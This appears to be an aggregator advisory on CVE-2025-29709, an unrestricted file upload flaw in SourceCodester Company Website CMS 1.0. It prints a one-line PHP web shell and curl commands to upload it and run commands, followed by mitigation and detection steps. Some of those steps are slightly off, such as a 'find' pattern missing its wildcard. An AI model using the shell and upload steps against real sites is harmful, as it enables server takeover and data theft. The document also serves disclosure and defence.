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How the CVE Works:
CVE-2025-29709 exploits an insecure file upload mechanism in SourceCodester Company Website CMS 1.0. Attackers can bypass file type restrictions in the `/dashboard/portfolio` endpoint to upload malicious files (e.g., PHP shells). The lack of server-side validation allows execution of arbitrary code, leading to remote command injection, data theft, or full system compromise. The vulnerability stems from improper sanitization of user-supplied filenames and MIME-type checks.
DailyCVE Form:
Platform: SourceCodester CMS
Version: 1.0
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation:
1. Craft a malicious PHP file (`shell.php`):
<?php system($_GET['cmd']); ?>
2. Upload via curl:
curl -F "[email protected]" -F "submit=1" http://target.com/dashboard/portfolio
3. Execute commands:
curl http://target.com/uploads/shell.php?cmd=id
Protection:
- Patch: Disable file uploads or apply vendor fixes.
2. .htaccess mitigation:
<FilesMatch "\.(php|phtml)$"> Deny from all </FilesMatch>
3. File validation:
$allowed = ['jpg', 'png'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, $allowed)) { die("Invalid file"); }
Detection:
1. Log analysis:
grep "POST /dashboard/portfolio" /var/log/apache2/access.log
2. Scan for shells:
find /var/www/html/uploads -name ".php" -type f
Mitigation Commands:
- Restrict upload dir permissions:
chmod -R 750 /var/www/html/uploads
- Web Application Firewall (WAF) rule:
location ~ .(php|phtml)$ { deny all; }
References:
- CVE-2025-29709: NVD, MITRE
- Vendor advisory: SourceCodester patch notes
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
